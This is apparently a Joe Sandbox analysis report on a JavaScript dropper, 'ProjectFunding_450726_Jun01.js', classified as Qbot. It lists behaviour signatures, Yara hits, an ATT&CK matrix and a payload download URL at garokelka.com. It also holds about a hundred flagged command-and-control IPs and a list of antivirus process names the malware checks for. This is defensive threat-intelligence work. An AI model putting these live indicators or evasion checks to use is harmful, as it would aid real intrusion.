Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_100060D0 lgetVersion@Engine@ScScript@@SAHXZ,lgetStackTrace@DebugAPI@ScScript@@QBE?AVString@ScCore@@HH@Z,lgetName@Engine@ScScript@@QBEABVString@ScCore@@XZ,

4_2_100060D0

Source: rundll32.exe, 00000004.00000003.377138996.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: rundll32.exe, 00000004.00000003.377138996.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: rundll32.exe, 00000004.00000003.377138996.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: rundll32.exe, 00000004.00000003.377138996.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avgcsrvx.exe
Source: rundll32.exe, 00000004.00000003.377138996.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: rundll32.exe, 00000004.00000003.377138996.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Qbot

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 4.2.rundll32.exe.570000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.490910.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.490910.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.385257108.000000000047A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.385365210.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Qbot

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 4.2.rundll32.exe.570000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.490910.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.490910.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.385257108.000000000047A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.385365210.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Replication Through Removable Media	21 Scripting	1 DLL Side-Loading	11 Process Injection	11 Masquerading	1 Credential API Hooking	12 Security Software Discovery	1 Replication Through Removable Media	1 Credential API Hooking	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	11 Peripheral Device Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	21 Scripting	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	113 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Obfuscated Files or Information	Cached Domain Credentials	15 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Rundll32	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 File Deletion	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
ProjectFunding_450726_Jun01.js	0%	ReversingLabs

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://garokelka.com/rlvoq0.msi	0%	Avira URL Cloud	safe
https://garokelka.com/rlvoq0.msi0C:	0%	Avira URL Cloud	safe
https://garokelka.com/$	0%	Avira URL Cloud	safe
https://garokelka.com/rlvoq0.msif:randomM	0%	Avira URL Cloud	safe
https://garokelka.com/	0%	Avira URL Cloud	safe
https://garokelka.com/rlvoq0.msi457110176310365940	0%	Avira URL Cloud	safe
https://pdx-col.eum-appdynamics.com	0%	Avira URL Cloud	safe
http://pdx-col.eum-appdynamics.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
garokelka.com	217.195.153.225	true	false	unknown
cisco.com	72.163.4.185	true	false	high
www.cisco.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://garokelka.com/rlvoq0.msi	false	Avira URL Cloud: safe	unknown
https://cisco.com/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cisco.com/c/en_eg/index.html	P96VU3JU.htm.5.dr	false		high
https://www.youtube.com/user/cisco	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/solutions/service-provider/routed-optical-networking/index.html?ccid=c	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/ar_ae/index.html	P96VU3JU.htm.5.dr	false		high
https://newsroom.cisco.com/c/r/newsroom/en/us/a/y2023/m05/cisco-launches-program-for-customers-and-p	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en_sg/index.html	P96VU3JU.htm.5.dr	false		high
https://garokelka.com/$	6781be.rbs.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cisco.com/c/en_dz/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/hu_hu/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/site/in/en/index.html	P96VU3JU.htm.5.dr	false		high
https://software.cisco.com/download/navigator.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/about/contact-cisco.html	P96VU3JU.htm.5.dr	false		high
https://www.schema.org	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/partners/connect-with-a-partner.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/about/sitemap.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/sv_se/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/ru_ru/index.html	P96VU3JU.htm.5.dr	false		high
https://learninglocator.cloudapps.cisco.com/#/home	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/pl_pl/index.html	P96VU3JU.htm.5.dr	false		high
https://blogs.cisco.com/security/now-is-the-time-to-step-up-your-security?utm_medium=web-referral&ut	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/fr_dz/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/de_ch/index.html	P96VU3JU.htm.5.dr	false		high
http://pdx-col.eum-appdynamics.com	P96VU3JU.htm.5.dr	false	Avira URL Cloud: safe	unknown
https://www.cisco.com/site/fr/fr/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/nl_nl/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/site/au/en/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/es_ec/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/about/legal/trademarks.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/about.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/pt_br/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/th_th/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/site/de/de/index.html	P96VU3JU.htm.5.dr	false		high
https://search.cisco.com/search?query=	P96VU3JU.htm.5.dr	false		high
http://schema.org/ImageObject	P96VU3JU.htm.5.dr	false		high
https://www.ciscolive.com/global.html?CID=cdchp&TEAM=global_events&MEDIUM=digital_direct&CAMPAIGN=bt	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en_my/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/es_es/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/it_it/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en_il/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/site/cn/zh/index.html	P96VU3JU.htm.5.dr	false		high
https://newsroom.cisco.com/c/r/newsroom/en/us/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en_hk/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/de_at/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/es_pa/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/da_dk/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/ru_ua/index.html	P96VU3JU.htm.5.dr	false		high
https://www.instagram.com/cisco/	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/about/accessibility.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/es_mx/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/fr_be/index.html	P96VU3JU.htm.5.dr	false		high
https://garokelka.com/rlvoq0.msi0C:	~DFD56E4E9B73156A44.TMP.1.dr, inprogressinstallinfo.ipi.1.dr, ~DFC8411CD743E6CADD.TMP.1.dr, ~DFAAF580DC072508D1.TMP.1.dr, ~DFEA98AB2A043532AC.TMP.1.dr, ~DFCFA0FDA4AEF3B850.TMP.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cisco.com/c/tr_tr/index.html	P96VU3JU.htm.5.dr	false		high
https://ciscocx.qualtrics.com/jfe/form/SV_0Tcp9VU8pUm4lBY?Ref=/c/en/us/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en_ph/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/es_ar/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/no_no/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/es_cr/index.html	P96VU3JU.htm.5.dr	false		high
https://twitter.com/Cisco/	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/ar_eg/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/ko_kr/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/ro_ro/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/site/ca/fr/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/nl_be/index.html	P96VU3JU.htm.5.dr	false		high
https://duo.com/solutions/risk-based-authentication?utm_medium=web-referral&utm_source=cisco#eyJoYXN	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/es_co/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/about/legal/terms-conditions.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/pt_pt/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/buy.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/uk_ua/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/es_pe/index.html	P96VU3JU.htm.5.dr	false		high
https://garokelka.com/rlvoq0.msif:randomM	wscript.exe, 00000000.00000002.377798248.000001DCD5B50000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377308183.000001DCD5B4A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377167880.000001DCD5B4A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.377614513.000001DCD5B4E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cisco.com/c/m/en_us/solutions/hybrid-work/workplace-solutions/penn1-lookbook.html?ccid=c	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/training-events/training-certifications.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/cs_cz/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/web/fw/i/logo-open-graph.gif	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/about/careers.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en_za/index.html	P96VU3JU.htm.5.dr	false		high
https://pdx-col.eum-appdynamics.com	P96VU3JU.htm.5.dr	false	Avira URL Cloud: safe	unknown
https://community.cisco.com/	P96VU3JU.htm.5.dr	false		high
https://blogs.cisco.com/networking/it-leaders-contend-with-secure-multicloud-access-the-2023-global-	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/vi_vn/index.html	P96VU3JU.htm.5.dr	false		high
http://cdn.appdynamics.com	P96VU3JU.htm.5.dr	false		high
https://cdn.appdynamics.com	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/about/legal/privacy-full.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/about/help.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/site/uk/en/index.html	P96VU3JU.htm.5.dr	false		high
https://garokelka.com/rlvoq0.msi457110176310365940	~DF0DDEAC6C9405E7E5.TMP.1.dr	false	Avira URL Cloud: safe	unknown
https://garokelka.com/	6781be.rbs.1.dr, MSI81ED.tmp.1.dr	false	Avira URL Cloud: safe	unknown
https://www.cisco.com/c/en/us/solutions/design-zone.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/en/us/training-events/events.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/site/jp/ja/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/es_bz/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/zh_hk/index.html	P96VU3JU.htm.5.dr	false		high
https://www.linkedin.com/company/cisco	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/c/fr_ch/index.html	P96VU3JU.htm.5.dr	false		high
https://www.cisco.com/site/ca/en/index.html	P96VU3JU.htm.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
75.143.236.149	unknown	United States	20115	CHARTER-20115US	true
83.110.223.61	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	true
86.195.14.72	unknown	France	3215	FranceTelecom-OrangeFR	true
84.215.202.8	unknown	Norway	41164	GET-NOGETNorwayNO	true
184.182.66.109	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
80.167.196.79	unknown	Denmark	3292	TDCTDCASDK	true
125.99.69.178	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	true
89.32.156.5	unknown	Italy	48544	TECNOADSL-ASIT	true
161.142.103.187	unknown	Malaysia	9930	TTNET-MYTIMEdotComBerhadMY	true
213.64.33.92	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	true
114.143.176.236	unknown	India	17762	HTIL-TTML-IN-APTataTeleservicesMaharashtraLtdIN	true
24.234.220.88	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
14.192.241.76	unknown	Malaysia	9534	MAXIS-AS1-APBinariangBerhadMY	true
173.88.135.179	unknown	United States	10796	TWC-10796-MIDWESTUS	true
72.205.104.134	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
69.160.121.6	unknown	Jamaica	33576	DIG001JM	true
117.195.17.148	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	true
47.34.30.133	unknown	United States	20115	CHARTER-20115US	true
70.49.205.198	unknown	Canada	577	BACOMCA	true
184.181.75.148	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
84.35.26.14	unknown	Netherlands	21221	INFOPACT-ASTheNetherlandsNL	true
41.227.190.59	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	true
86.168.210.41	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
100.4.163.158	unknown	United States	701	UUNETUS	true
70.50.83.216	unknown	Canada	577	BACOMCA	true
165.120.169.171	unknown	United States	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
82.131.141.209	unknown	Hungary	20845	DIGICABLEHU	true
68.203.69.96	unknown	United States	11427	TWC-11427-TEXASUS	true
79.92.15.6	unknown	France	15557	LDCOMNETFR	true
64.121.161.102	unknown	United States	6079	RCN-ASUS	true
96.56.197.26	unknown	United States	6128	CABLE-NET-1US	true
178.175.187.254	unknown	Moldova Republic of	43289	TRABIAMD	true
125.99.76.102	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	true
81.101.185.146	unknown	United Kingdom	5089	NTLGB	true
98.187.21.2	unknown	United States	22773	ASN-CXA-ALL-CCI-22773-RDCUS	true
72.163.4.185	cisco.com	United States	109	CISCOSYSTEMSUS	false
92.149.250.113	unknown	France	3215	FranceTelecom-OrangeFR	true
76.86.31.59	unknown	United States	20001	TWC-20001-PACWESTUS	true
147.147.30.126	unknown	United Kingdom	6871	PLUSNETUKInternetServiceProviderGB	true
96.87.28.170	unknown	United States	7922	COMCAST-7922US	true
75.109.111.89	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	true
124.122.47.148	unknown	Thailand	17552	TRUE-AS-APTrueInternetCoLtdTH	true
88.126.94.4	unknown	France	12322	PROXADFR	true
85.57.212.13	unknown	Spain	12479	UNI2-ASES	true
103.101.203.177	unknown	Singapore	133136	MYREPUBLIC-SGMyRepublicLtdSG	true
94.204.202.106	unknown	United Arab Emirates	15802	DU-AS1AE	true
47.205.25.170	unknown	United States	5650	FRONTIER-FRTRUS	true
95.45.50.93	unknown	Ireland	5466	EIRCOMInternetHouseIE	true
85.61.165.153	unknown	Spain	12479	UNI2-ASES	true
80.12.88.148	unknown	France	3215	FranceTelecom-OrangeFR	true
103.144.201.48	unknown	unknown	139762	MSSOLUTION-AS-APSolutionBD	true
102.156.10.183	unknown	Tunisia	37705	TOPNETTN	true
86.132.236.117	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
205.237.67.69	unknown	Canada	11290	CC-3272CA	true
201.143.215.69	unknown	Mexico	8151	UninetSAdeCVMX	true
76.178.148.107	unknown	United States	10838	OCEANIC-INTERNET-RRUS	true
69.242.31.249	unknown	United States	7922	COMCAST-7922US	true
85.104.105.67	unknown	Turkey	9121	TTNETTR	true
41.186.88.38	unknown	Rwanda	36890	MTNRW-ASNRW	true
76.16.49.134	unknown	United States	7922	COMCAST-7922US	true
90.104.151.37	unknown	France	3215	FranceTelecom-OrangeFR	true
201.244.108.183	unknown	Colombia	19429	ETB-ColombiaCO	true
103.42.86.42	unknown	India	133660	EDIGITAL-ASE-InfrastructureandEntertainmentIndiaPvtLt	true
116.74.163.130	unknown	India	17488	HATHWAY-NET-APHathwayIPOverCableInternetIN	true
105.184.209.194	unknown	South Africa	37457	Telkom-InternetZA	true
116.120.145.170	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
103.139.242.6	unknown	India	138798	MUTINY-AS-INMutinySystemsPrivateLimitedIN	true
70.28.50.223	unknown	Canada	577	BACOMCA	true
217.195.153.225	garokelka.com	Netherlands	395092	SHOCK-1US	false
98.145.23.67	unknown	United States	20001	TWC-20001-PACWESTUS	true
81.229.117.95	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	true
82.125.44.236	unknown	France	3215	FranceTelecom-OrangeFR	true
45.243.142.31	unknown	Egypt	24863	LINKdotNET-ASEG	true
89.129.109.27	unknown	Spain	12479	UNI2-ASES	true
27.109.19.90	unknown	India	17625	BLAZENET-IN-APBlazeNetsNetworkIN	true
122.186.210.254	unknown	India	9498	BBIL-APBHARTIAirtelLtdIN	true
122.184.143.86	unknown	India	9498	BBIL-APBHARTIAirtelLtdIN	true
50.68.186.195	unknown	Canada	6327	SHAWCA	true
45.62.70.33	unknown	Canada	40440	NRTC-CA	true
83.249.198.100	unknown	Sweden	39651	COMHEM-SWEDENSE	true
12.172.173.82	unknown	United States	2386	INS-ASUS	true
47.199.241.39	unknown	United States	5650	FRONTIER-FRTRUS	true
79.168.224.165	unknown	Portugal	2860	NOS_COMUNICACOESPT	true
199.27.66.213	unknown	United States	40608	HCTNEBRASKAUS	true
176.142.207.63	unknown	France	5410	BOUYGTEL-ISPFR	true
86.176.83.44	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
92.154.17.149	unknown	France	3215	FranceTelecom-OrangeFR	true
65.95.141.84	unknown	Canada	577	BACOMCA	true
50.68.204.71	unknown	Canada	6327	SHAWCA	true
89.79.229.50	unknown	Poland	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	true
71.38.155.217	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	true
77.126.99.230	unknown	Israel	9116	GOLDENLINES-ASNPartnerCommunicationsMainAutonomousSyste	true
103.123.223.133	unknown	India	138329	KWS-AS-APKenstarWebSolutionsPrivateLimitedIN	true
31.53.29.235	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	true
198.2.51.242	unknown	United States	20001	TWC-20001-PACWESTUS	true
93.147.235.8	unknown	Italy	30722	VODAFONE-IT-ASNIT	true
92.9.45.20	unknown	United Kingdom	13285	OPALTELECOM-ASTalkTalkCommunicationsLimitedGB	true
113.11.92.30	unknown	Bangladesh	7565	BDCOM-BDRangsNiluSquare5thFloorHouse75Road5AD	true
77.86.98.236	unknown	United Kingdom	12390	KINGSTON-UK-ASGB	true
172.115.17.50	unknown	United States	20001	TWC-20001-PACWESTUS	true

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	880006
Start date and time:	2023-06-01 17:53:26 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	ProjectFunding_450726_Jun01.js
Detection:	MAL
Classification:	mal80.troj.evad.winJS@10/19@3/100
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 52.9%) Quality average: 35.3% Quality standard deviation: 39.4%
HCA Information:	Successful, ratio: 100% Number of executed functions: 6 Number of non-executed functions: 78
Cookbook Comments:	Found application associated with file extension: .js Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 104.77.42.179
Excluded domains from analysis (whitelisted): www.cisco.com.akadns.net, wwwds.cisco.com.edgekey.net, wwwds.cisco.com.edgekey.net.globalredir.akadns.net, e2867.dsca.akamaiedge.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtProtectVirtualMemory calls found.
VT rate limit hit for: ProjectFunding_450726_Jun01.js

Simulations

Behavior and APIs

Time	Type	Description
17:54:27	API Interceptor	1x Sleep call for process: msiexec.exe modified
17:54:37	API Interceptor	9x Sleep call for process: wermgr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
75.143.236.149	oOo.dat.dll	Get hash	malicious	Qbot	Browse
	photographed.dat.dll	Get hash	malicious	Qbot	Browse
	F086.dll	Get hash	malicious	Qbot	Browse
	A649.dll	Get hash	malicious	Qbot	Browse
	F072.dll	Get hash	malicious	Qbot	Browse
	F086.dll	Get hash	malicious	Qbot	Browse
	A290.dll	Get hash	malicious	Qbot	Browse
	A649.dll	Get hash	malicious	Qbot	Browse
	5q4psw.msi	Get hash	malicious	Qbot	Browse
	15dasx.msi	Get hash	malicious	Qbot	Browse
	5q4psw.msi	Get hash	malicious	Qbot	Browse
	15dasx.msi	Get hash	malicious	Qbot	Browse
	licking.dll	Get hash	malicious	Qbot	Browse
	licking.dll	Get hash	malicious	Qbot	Browse
	main2.dll	Get hash	malicious	Qbot	Browse
	r3zg12.msi	Get hash	malicious	Qbot	Browse
	main.dll	Get hash	malicious	Qbot	Browse
	r3zg12.msi	Get hash	malicious	Qbot	Browse
	main.dll	Get hash	malicious	Qbot	Browse
	graphically.dat.dll	Get hash	malicious	Qbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cisco.com	https://tinyurl.com/mu4vnty3	Get hash	malicious	HTMLPhisher	Browse	184.94.241.74

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHARTER-20115US	oOo.dat.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	photographed.dat.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	db0fa4b8db0333367e9bda3ab68b8042.x86.elf	Get hash	malicious	Mirai	Browse	141.126.207.111
	F086.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	A649.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	F072.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	F086.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	A290.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	A649.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	5q4psw.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	15dasx.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	5q4psw.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	15dasx.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	licking.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	licking.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	main2.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	r3zg12.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	main.dll	Get hash	malicious	Qbot	Browse	47.34.30.133
	r3zg12.msi	Get hash	malicious	Qbot	Browse	47.34.30.133
	main.dll	Get hash	malicious	Qbot	Browse	47.34.30.133

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bd0bf25947d4a37404f0424edf4db9ad	doc1961.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan1574.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan214.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan70.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan1731.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan521.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	doc1260.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan621.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
	scan621.js	Get hash	malicious	NetSupport RAT	Browse	217.195.153.225
